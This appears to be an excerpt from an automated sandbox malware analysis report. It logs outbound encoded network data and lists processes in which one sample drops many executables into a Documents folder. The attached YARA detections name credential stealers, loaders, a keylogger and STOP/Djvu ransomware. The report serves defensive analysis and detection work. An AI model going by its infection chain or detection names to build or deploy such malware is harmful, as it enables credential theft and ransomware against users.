MYUUYpaYDcUlOpKdwQnajNLiigBQ7D3+tNIRvvLg+opaMUrICMwA/dYH2NMaJ16rU1KGYdDRYpSZVpMVbJVvvKCfUUwxIfuuR7GgpTK/ak71M0Eg5xkeoqM09C7jfzoxn0petLQO4zijHFOpMU7DGmjHFLjP1oxiiwDcfpSYpxGaT9KLDuNpMU/HApMcelFh3I+/wDOkI+tS/pTSKVirjMZpv8ASpCPw+lJ/Kiw7jMdKaRipCMU0ilYq4wikxzT
2024-05-24 07:43:59 UTC	16355	OUT	Data Raw: 4f 4f 75 4b 66 57 46 42 66 32 55 58 32 6a 55 42 4c 39 6e 75 4c 75 4e 72 69 53 31 6c 53 52 32 57 66 63 4e 79 42 2b 36 74 6c 6d 42 4a 4a 47 4d 48 6e 6b 36 53 61 68 61 54 53 74 48 62 58 69 33 47 4a 32 52 63 51 73 6d 36 4d 41 59 66 6e 31 4a 49 78 31 47 50 65 76 53 77 32 4c 55 34 70 56 50 69 66 6b 65 4e 6a 4d 41 36 63 35 4f 6c 38 43 38 30 57 36 4b 4b 4b 37 6a 79 77 6f 6f 6f 6f 41 4b 4b 4b 4b 59 42 52 52 52 51 41 55 6c 4c 53 55 41 46 46 46 46 41 42 53 55 74 46 41 78 4b 4b 57 6b 6f 41 4b 53 6c 70 44 51 4d 4b 4b 4b 4b 41 43 69 69 69 67 42 4b 4b 57 6b 6f 41 4b 51 30 74 46 41 78 4b 4b 4b 4b 41 43 69 69 69 67 41 70 4b 57 67 30 44 45 6f 6f 37 30 55 78 6f 53 69 67 30 55 41 46 4a 53 30 47 6b 41 6c 4a 53 30 55 78 69 55 55 47 69 67 59 6c 46 4b 61 53 6d 41 55 6c 4c 53 55 Data Ascii: OOuKfWFBf2UX2jUBL9nuLuNriS1lSR2WfcNyB+6tlmBJJGMHnk6SahaTStHbXi3GJ2RcQsm6MAYfn1JIx1GPevSw2LU4pVPifkeNjMA6c5Ol8C80W6KKK7jywooooAKKKKYBRRRQAUlLSUAFFFFABSUtFAxKKWkoAKSlpDQMKKKKACiiigBKKWkoAKQ0tFAxKKKKACiiigApKWg0DEoo70UxoSig0UAFJS0GkAlJS0UxiUUGigYlFKaSmAUlLSU
2024-05-24 07:43:59 UTC	16355	OUT	Data Raw: 49 50 32 4b 62 36 44 2b 64 56 4e 4f 2b 2f 4c 2f 75 2f 77 42 61 63 64 69 65 70 66 70 4f 4b 51 47 6c 34 70 46 6f 4b 51 30 55 55 44 43 67 30 55 6c 41 43 30 5a 70 4b 4b 59 42 69 6a 32 6f 70 4b 41 46 7a 52 52 53 55 41 4c 52 52 52 51 41 55 55 55 66 35 46 4d 59 44 4f 4b 4d 30 55 55 58 45 4f 46 57 39 4f 48 37 36 54 32 69 66 2b 56 56 4b 74 36 66 2f 72 5a 50 2b 75 4c 2f 41 4d 71 6d 72 38 44 49 71 66 43 63 4f 2f 33 6a 54 66 70 69 6c 66 37 78 78 54 44 58 56 30 4f 32 4f 77 64 66 2f 72 55 30 69 6e 47 6d 48 70 55 6c 41 66 79 4e 49 66 78 70 65 6c 4a 31 6f 75 55 49 53 61 44 37 47 67 6a 4e 4a 53 59 77 78 53 48 6d 6c 37 2b 2b 61 51 6d 6b 4d 54 70 78 53 63 34 2b 6c 48 46 46 41 30 46 4a 32 39 36 57 6b 37 30 68 67 52 69 6d 39 61 64 53 64 42 30 35 6f 47 49 4f 74 48 53 6b 39 54 Data Ascii: IP2Kb6D+dVNO+/L/u/wBacdiepfpOKQGl4pFoKQ0UUDCg0UlAC0ZpKKYBij2opKAFzRRSUALRRRQAUUUf5FMYDOKM0UUXEOFW9OH76T2if+VVKt6f/rZP+uL/AMqmr8DIqfCcO/3jTfpilf7xxTDXV0O2Owdf/rU0inGmHpUlAfyNIfxpelJ1ouUISaD7GgjNJSYwxSHml7++aQmkMTpxSc4+lHFFA0FJ296Wk70hgRim9adSdB05oGIOtHSk9T
2024-05-24 07:43:59 UTC	16355	OUT	Data Raw: 47 61 53 6c 70 4f 31 41 78 4f 31 42 70 63 38 55 33 4e 41 77 37 30 6c 4c 53 47 67 61 44 4e 49 61 57 6b 4e 41 78 44 37 30 55 55 55 44 45 70 44 78 36 55 74 49 61 42 68 53 55 64 36 4f 33 57 67 59 5a 70 70 70 61 44 30 6f 42 43 65 6c 4a 33 2b 6c 4c 6e 48 48 65 6a 4e 42 53 45 50 41 6f 6f 2f 77 41 38 30 59 47 61 42 6a 52 33 6f 78 69 6c 2f 77 41 35 70 4d 65 2f 34 30 78 69 64 54 52 53 6d 6b 4e 41 43 47 6a 70 52 33 2f 2b 74 51 65 4b 51 78 4d 39 75 61 54 70 53 6d 67 39 4b 42 69 55 5a 7a 78 52 33 6f 46 4d 59 68 35 34 70 50 38 41 50 46 4b 65 4b 53 6b 41 64 61 4f 2f 74 52 2f 6e 4e 48 66 67 69 67 59 6c 47 50 72 2b 46 48 62 2f 41 41 6f 78 33 36 2f 6a 51 4d 39 41 65 73 2f 55 66 2b 50 4f 62 2f 63 50 38 71 30 48 72 50 31 48 2f 6a 7a 6d 2f 77 42 77 2f 77 41 71 35 71 76 77 73 Data Ascii: GaSlpO1AxO1Bpc8U3NAw70lLSGgaDNIaWkNAxD70UUUDEpDx6UtIaBhSUd6O3WgYZpppaD0oBCelJ3+lLnHHejNBSEPAoo/wA80YGaBjR3oxil/wA5pMe/40xidTRSmkNACGjpR3/+tQeKQxM9uaTpSmg9KBiUZzxR3oFMYh54pP8APFKeKSkAdaO/tR/nNHfgigYlGPr+FHb/AAox36/jQM9Aes/Uf+POb/cP8q0HrP1H/jzm/wBw/wAq5qvws
2024-05-24 07:43:59 UTC	16355	OUT	Data Raw: 58 6f 4d 2f 68 53 55 44 50 51 48 72 50 31 48 2f 6a 7a 6d 2f 77 42 77 2f 77 41 71 30 48 36 56 6e 36 6a 2f 41 4d 65 63 33 2b 34 66 35 56 7a 56 66 68 5a 38 31 68 2f 6a 58 71 65 2f 55 55 55 56 38 59 66 70 67 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 52 52 52 51 41 55 55 55 55 41 46 46 46 46 41 42 58 44 2f 46 4c 2f 6b 58 37 48 2f 72 2f 58 2f 30 58 4a 58 63 56 77 2f 78 53 2f 35 46 2b 78 2f 36 2f 77 42 66 2f 52 63 6c 62 34 62 2b 4e 48 31 4f 58 47 2f 37 74 50 30 5a 35 78 46 30 46 57 56 71 Data Ascii: XoM/hSUDPQHrP1H/jzm/wBw/wAq0H6Vn6j/AMec3+4f5VzVfhZ81h/jXqe/UUUV8YfpgUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABRRRQAUUUUAFFFFABXD/FL/kX7H/r/X/0XJXcVw/xS/5F+x/6/wBf/Rclb4b+NH1OXG/7tP0Z5xF0FWVq
2024-05-24 07:43:59 UTC	2204	OUT	Data Raw: 76 42 4b 4b 34 36 2b 45 63 34 79 56 4f 58 4b 32 59 77 6f 51 68 56 56 54 70 31 58 63 39 5a 2b 49 48 78 42 74 4a 74 4f 6c 30 6a 52 35 68 4f 30 77 32 7a 7a 6f 66 6c 56 65 36 6a 31 4a 72 79 61 69 69 6a 41 34 47 6c 67 36 58 73 36 66 7a 66 63 37 61 39 65 56 65 66 4e 49 4b 4b 4b 36 4b 32 38 44 65 4a 4c 75 31 68 75 59 4e 4f 33 77 7a 49 4a 49 32 38 2b 4d 5a 55 6a 49 4f 43 33 70 58 61 6f 75 57 79 4f 64 79 53 33 5a 4c 34 64 38 51 4a 61 52 66 59 37 70 74 73 59 4f 59 33 39 50 59 31 36 5a 6f 66 69 44 55 37 70 34 72 57 33 31 49 65 51 42 6b 79 6b 49 78 6a 55 64 63 4f 51 53 50 77 4e 65 5a 2f 38 41 43 76 66 46 50 2f 51 4c 2f 77 44 4a 69 4c 2f 34 71 6a 2f 68 58 76 69 6e 2f 6f 46 2f 2b 54 45 58 2f 77 41 56 58 50 57 77 56 53 56 33 54 62 69 33 35 48 4e 37 4f 6c 37 52 54 35 76 Data Ascii: vBKK46+Ec4yVOXK2YwoQhVVTp1Xc9Z+IHxBtJtOl0jR5hO0w2zzoflVe6j1JryaiijA4Glg6Xs6fzfc7a9eVefNIKKK6K28DeJLu1huYNO3wzIJI28+MZUjIOC3pXaouWyOdyS3ZL4d8QJaRfY7ptsYOY39PY16ZofiDU7p4rW31IeQBkykIxjUdcOQSPwNeZ/8ACvfFP/QL/wDJiL/4qj/hXvin/oF/+TEX/wAVXPWwVSV3Tbi35HN7Ol7RT5v
2024-05-24 07:44:00 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 24 May 2024 07:44:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-24 07:44:00 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Target ID:	0
Start time:	03:41:55
Start date:	24/05/2024
Path:	C:\Users\user\Desktop\BI6oo9z4In.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\BI6oo9z4In.exe"
Imagebase:	0x140000000
File size:	6'961'664 bytes
MD5 hash:	04196B8A0869C9F19B3805B4F861A0E1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:41:57
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	03:41:57
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:41:57
Start date:	24/05/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe
Imagebase:	0x150000
File size:	3'134'976 bytes
MD5 hash:	6BC7F3C7927F5FC13A4410F1770C2DFE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000005.00000003.2174149135.000000000576A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000005.00000003.2173869303.00000000056FB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000005.00000002.2236046585.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe
Imagebase:	0x660000
File size:	363'520 bytes
MD5 hash:	D79B788762C6435AE9F599743F9F482D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe
Imagebase:	0xb50000
File size:	5'154'288 bytes
MD5 hash:	D9A7D15AE1511095BC12D4FAA9BE6F70
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000002.2185945758.000000000450C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000000.1873271965.0000000000B52000.00000002.00000001.01000000.00000008.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe
Imagebase:	0xf10000
File size:	3'098'112 bytes
MD5 hash:	DA2163C91450CEDDEE87651347B25C96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000008.00000002.2217900241.00000000061BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000008.00000003.2132917320.00000000069A0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 00000008.00000003.2132997569.0000000006A0F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe
Imagebase:	0x28b1ae10000
File size:	80'896 bytes
MD5 hash:	0951BF8665040A50D5FB548BE6AC7C1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000009.00000002.2260956551.0000028B1B1E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe
Imagebase:	0xb20000
File size:	3'147'776 bytes
MD5 hash:	A032B8D3908C0282D9ACB8647CEC1765
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe
Imagebase:	0x100000
File size:	3'063'296 bytes
MD5 hash:	FF620B1758C719708D6CECA3B280ABC0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000000B.00000002.2429616383.0000000005863000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RiseProStealer, Description: Yara detected RisePro Stealer, Source: 0000000B.00000003.2323555077.0000000005A80000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe
Imagebase:	0x400000
File size:	2'562'560 bytes
MD5 hash:	A2A4B134591EF73161CE1E353605E858
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.1915865994.0000000002500000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 0000000C.00000002.1915865994.0000000002500000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.1921086630.0000000004270000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000C.00000002.1921086630.0000000004270000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000C.00000002.1941148148.0000000004570000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 0000000C.00000002.1941148148.0000000004570000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Crypt, Description: Yara detected CryptOne packer, Source: 0000000C.00000002.1921086630.0000000004379000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe
Imagebase:	0x7ff7d9550000
File size:	228'864 bytes
MD5 hash:	3955AF54FBAC1E43C945F447D92E4108
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
Imagebase:	0x400000
File size:	223'232 bytes
MD5 hash:	6012D4B3C55C25ACDB40AD82652ACDF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000E.00000002.2377978452.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000E.00000002.2377978452.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000E.00000002.2377978452.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000E.00000003.1897275221.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000E.00000003.1897275221.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000002.2372864881.0000000000447000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.2376434114.0000000002D9B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000E.00000002.2372864881.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 0000000E.00000002.2372864881.0000000000400000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000E.00000002.2376588491.0000000002DB0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe
Imagebase:	0x400000
File size:	5'731'975 bytes
MD5 hash:	503AEEC17EEE650E815927B78D27AAEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe
Imagebase:	0x140000000
File size:	11'403'264 bytes
MD5 hash:	D43AC79ABE604CAFFEFE6313617079A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe
Imagebase:	0x170000
File size:	470'528 bytes
MD5 hash:	E154829A16292C782B579D217E0EA8BF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000011.00000002.1892646275.0000000000197000.00000004.00000001.01000000.00000011.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe
Imagebase:	0x7ff70f330000
File size:	5'382'672 bytes
MD5 hash:	029B4A16951A6FB1F6A1FDA9B39769B7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe
Imagebase:	0x400000
File size:	744'960 bytes
MD5 hash:	ADD437E239EBA1CEABCA80AF38F80B56
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000013.00000002.1907465185.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000013.00000002.1907465185.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000013.00000002.1907412853.000000000214D000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:42:18
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe
Imagebase:	0x400000
File size:	7'629'919 bytes
MD5 hash:	AA91E10DDEC556679F0411387B52FC53
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	03:42:19
Start date:	24/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xde0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000002.2467246843.0000000000572000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000015.00000002.2478023028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000015.00000002.2478023028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:42:19
Start date:	24/05/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0xf50000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000016.00000002.2332840507.0000000003447000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: 00000016.00000002.2265895293.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:42:21
Start date:	24/05/2024
Path:	C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe
Imagebase:	0x400000
File size:	744'960 bytes
MD5 hash:	ADD437E239EBA1CEABCA80AF38F80B56
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000018.00000002.2263258609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000018.00000002.2263258609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: MALWARE_Win_STOP, Description: Detects STOP ransomware, Source: 00000018.00000002.2263258609.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	03:42:21
Start date:	24/05/2024
Path:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
Imagebase:	0x400000
File size:	881'664 bytes
MD5 hash:	66064DBDB70A5EB15EBF3BF65ABA254B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 4%, ReversingLabs
Has exited:	false

